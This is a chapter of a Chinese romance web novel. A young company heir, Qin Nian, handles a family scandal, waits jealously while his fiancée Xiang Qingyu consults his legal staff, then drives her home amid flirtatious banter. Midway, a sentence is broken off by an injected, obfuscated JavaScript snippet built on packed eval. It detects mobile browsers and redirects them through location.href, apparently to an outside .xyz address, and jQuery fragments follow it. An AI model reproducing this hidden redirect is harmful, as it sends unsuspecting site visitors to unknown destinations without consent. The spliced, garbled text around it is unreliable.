秦年看到了向卿语回复的消息,却不清楚她口中的“变态”是怎么得来的,只是又捏了捏手中的棉花娃娃,放在了一摞文件上,是一个抬头就能看见的地方。
他知道,得了这一句骂,就是稳妥的回应。
向卿语会来他这里的。
于是他说:「我等你。」
“小老板,开会啦!”林秘书笑眯眯地敲响了秦年办公室的门。
秦年深吸一口气,起身,出发。
林秘书在门口提醒:“对了,您的墨镜需要摘一下。”
秦年刚刚一直在办公室里悄悄敷眼睛,这会儿已经消肿的差不多了——
闻言,他摘下了墨镜,换上了平日里办公常戴的金丝眼镜,搭配西装,是众人熟悉的斯斯文文学霸模样,很具有欺骗性。
林秘书犯嘀咕:“所以小老板刚刚一直戴着墨镜干什么,装X吗?”
群里还有女同胞幻想,小老板是在卿卿小姐面前哭肿了眼睛。
林秘书打了个哆嗦。
忽然意识到,倒也不是不可能。
“小老板,这边。”
林秘书急急忙忙地跟了上去。
上了两年班了,小老板连自家公司的构造都没记清楚。
也不知道是不上心还是不上心。
“唉。”
*
向卿语刚刚来到公司门口,就有穿着正装的漂亮小姐姐接应她。
“卿卿小姐,你好,我是桑茹,秦世法务部的副部长,我比您大个十岁左右,不介意的话,您可以叫我桑茹姐。”
向卿语立马亲亲热热地喊上了“桑茹姐”,“秦年人呢?”
毕竟是秦年的地盘,她还想着有秦年在会更好办事。
结果桑茹笑着引着她往里走,说道:“您放心,小老板都交代好了,法务部的新人是应届大学生,与您年龄相近,有什么想问的您尽管问就好,都是经过筛选的,他们的专业能力一点儿都不差。”
靠谱。
向卿语很少用这个词儿形容秦年。
她拿起手机,久违地,主动给秦年发了个消息,是一个“亲亲”的emoji,便放心地跟着桑茹走了。
而一旁的会议室里,愁云惨淡,气压低沉。
秦年很少在公司里发火。
在他看来,他也是被迫上班的一员,这些年龄比他大上不少的员工,与其说是下属,不如说是同事。
他摆不起老板架子,也没觉得有那个必要,他只需要上班,出面谈重要的合作项目,其他的事情,自然有他父亲留下的林秘书打理。
可是,他哥哥的事情,在有完整的证据链和明确的应对方案下,居然愈演愈烈。
所以,竟然还是要走不得已的一步。
“压热搜。”
公关部应下,紧急行动。
“散会吧。”
秦年揉了揉眉心,摘下眼镜,拿起手机,点进大哥秦岁的微信里,发了个句号。
下一秒,对话框里弹出了一条警告:「对不起,您还不是他(她)的好友,请您……」
秦年捏紧了手机,给济川市内的一处偏僻的精神病院打去了电话,电话拨通以后,冷硬地对着那头儿说道:“你好,我找秦岁。”
对面恭敬地应下。
秦年只能耐着性子等。
清冷的会议室里,林秘书待在旁边大气儿不敢喘,只是拿着秦年的私人手机走了过来,弯腰放在会议桌上,小心翼翼地推到了秦年面前。
秦年看了他一眼,没有说话。
“卿卿小姐的消息。”林秘书提醒,“卿卿小姐已经到了,现在正在法务部。”
消息是林秘书在公司小群里看到的,群里这会儿已经炸开了锅。
以往喜欢在工位上摸鱼的人此刻一个个都显了形,一个个聪明绝顶的样子,笃定道:「这个绝对是卿卿小姐,她长得和老板办公桌上放的棉花娃娃一模一样!」
秦年的表情怔了怔,随即接过了自己的手机,映入眼帘的,是向卿语发来的“亲亲”表情。
他立马熄灭了屏幕,瞥了林秘书一眼。
林秘书眼观鼻鼻观心,站远了几步,保证绝对看不见秦年的手机屏幕。
秦年打开手机,盯着那个撅着嘴的黄豆脸看了许久。
他说:「等你的咨询结束以后。」
发完消息,精神病院那里再次来电,多亏了黄豆脸,秦年接到电话时,声音和缓如春风:「哥,好久不见。」
可对面接电话的不是秦岁,而是一个对秦年来说并不陌生的女人,她声音沙哑,暗含警惕:「秦岁跟秦家已经没有关系了,不要再找他。」
说完以后,电话掉了线。
秦年打开他哥的聊天框,一连发去了好多条咒骂,可对方收不到,也只能是无能狂怒。
“小老板,其实,老板今天打过电话来。”林秘书犹豫地开口,“他说,这是对您的第一个考验,希望您能给他一个满意的结果。”
秦年嗤笑一声,把工作机扔在了桌面上,打开了私人手机,在刚刚那个黄豆脸上戳了戳,声音发冷:“我要是给不了他满意的结果怎么办?”
秦年知道,林秘书一定藏着没说完的话。
林秘书捏着拳头,放在唇边,忍住笑意:“老板说,如果您给不了他满意的结果,那就让您尽早结婚,就算结婚证领不了,婚礼也要先办了。”
秦年愣了一愣。
哈,还有这种好事?
秦年的父亲秦宴知道,一般的年轻人都很厌恶催婚。可他不知道,他的儿子不是一般人。
秦年起身,朝着会议室外走去。
“小老板,您干嘛去?”
林秘书急急地追了上去,虽然老板这威胁着实引人发笑,但林秘书也生怕秦年撂挑子不干了,到时候压力全要他一个人顶着。
秦年说:“找卿卿。”
去到向卿语的身边时,不过短短一段路程,秦年路过很多灼热的目光,来到了法务部接待室门前,透过百叶窗,看到了向卿语。
粉白皮夹克松垮垮笼住身形,下摆堪堪盖过腰际,同色系褶皱在肩头漾开。
内搭白衫很素净,深棕短裙利落俏皮,浅灰短靴将纤细小腿衬得愈发笔直,贝雷帽扣在微卷长发上。
整个人,是办公室里唯一一抹亮色,就像他办公室里的棉花娃娃。
秦年不动声色地站在窗外,好像屏蔽了周遭的动静。
慢慢地,只看见,她背包上挂着的线条小狗挂饰随着她笑着仰倒的动作晃了晃。
两男一女和向卿语坐在一起,喝茶聊天,好不快意。
聊得好开心呢,卿卿。
秦年压了压眉间的躁郁,乖乖地坐在了一旁空掉的工位上等待。
秦年仍旧满心嫉妒,却知道自己不能像以前一样走上前去,而是要翘首以待,等待她做完自己的事情,主动朝着他走来。
工位上的小哥不过是去接了个咖啡的功夫,回来就发现自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996245|178181||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的工位被秦年占据了。
一时之间,心惊胆战,他一步挪一步地走过来,问:“小老板,您有什么吩咐吗?”
秦年收回望着百叶窗的视线,看向卷发小哥,余光掠过桌面上一张全家福的照片,定格了一瞬,一家三口,很温馨。
他起身,腾出位子。
“抱歉,你继续工作。”
卷发小哥在秦年黑漆漆的视线中坐了回去。
恰好,向卿语推门走了出来,身后跟着殷勤的想要继续聊天的两男,以及亲热地挎着向卿语胳膊的一女。
向卿语摸了摸女孩耳垂上的耳钉,小声问:“宝宝可以发我个链接吗?”
女生心花怒放:“当然可以!”
向卿语和女生刚刚才互换了微信。
于是,在门口又是一番依依不舍的纠缠,最终,两男一女完成了自己的任务,通通被林秘书迅速打发走了。
向卿语拎着自己的包包朝公司外走去,脚步轻扬。
秦年在身后跟了上来,一路跟到了停车场,眼见着向卿语停在了他的车前,转身,勾了勾手。
“秦年,你过来。”
秦年站在了她面前。
没等向卿语出声,他倒是先说了话:“卿卿,我能看一下你的手机吗?”
他想看看,她除了那个女孩子的微信,是不是也加了其他两人。
他把人叫过来,只是单纯给她咨询用的。
向卿语靠在车头,散漫地看着秦年:“秦年,你在以什么身份查我的手机呢?我的小狗?”
秦年一惊,视线飞快地掠过周围的环境,明明是她的正牌未婚夫,却像是害怕偷情被抓的男小三。
现在的他,可以在向卿语面前羞耻地说出那些话,但不代表他在外面也不要脸皮。
“卿卿,你小点声。”
向卿语揽住他的腰,在他的锁骨上亲了亲,抬头:“那这个呢?这个也不能做吗?”
这一番转移话题下来,秦年几乎可以确定,她把刚刚的人全部加了一遍。
秦年垂眸,盯着她,喉结重重滚动了一下:“回家做。”
向卿语又问:“回家?你家还是我家?车上不可以吗?”
腹部肌肉一紧,秦年慌张地按住她的嘴巴:“你先别说话。”
秦年捧着向卿语的脸颊,拇指按在她的唇上,一下两下,忍不住抚弄着。
眼镜下的瞳仁软成一滩春水,渐渐羞耻地荡漾开来。
手上一副欺负人的姿态,表情却像是被人欺负了一般。
向卿语弯着眼睛,开玩笑的声音从秦年的指缝穿过:“总是不让我说话,是打算娶哑巴新娘吗?”
秦年羞恼地反问:“你真的有一刻想过当我的新娘吗?”
开玩笑的向卿语像是捕捉到了关键词的机器人,干脆利落回答:“那没有。”
哪怕是把他当男朋友养的两年里,她也从未对秦年有过关于未来的幻想。
“所以,向卿语,不要跟我开这种玩笑。”压不住恼火的嗓音在车库里回荡,在向卿语的眼神里又逐渐弱了下来。
秦年沉默地牵起她,把她推进了车厢副驾,帮她系好安全带,自己上了驾驶座,起步。
向卿语吩咐:“回我家。”
秦年握紧方向盘:“不要。”
向卿语在他的腿上摸了摸,哄道:“乖,听话,我还有条大鱼要钓。”
秦年又熟透了,只能默不作声地朝着向卿语家里开车。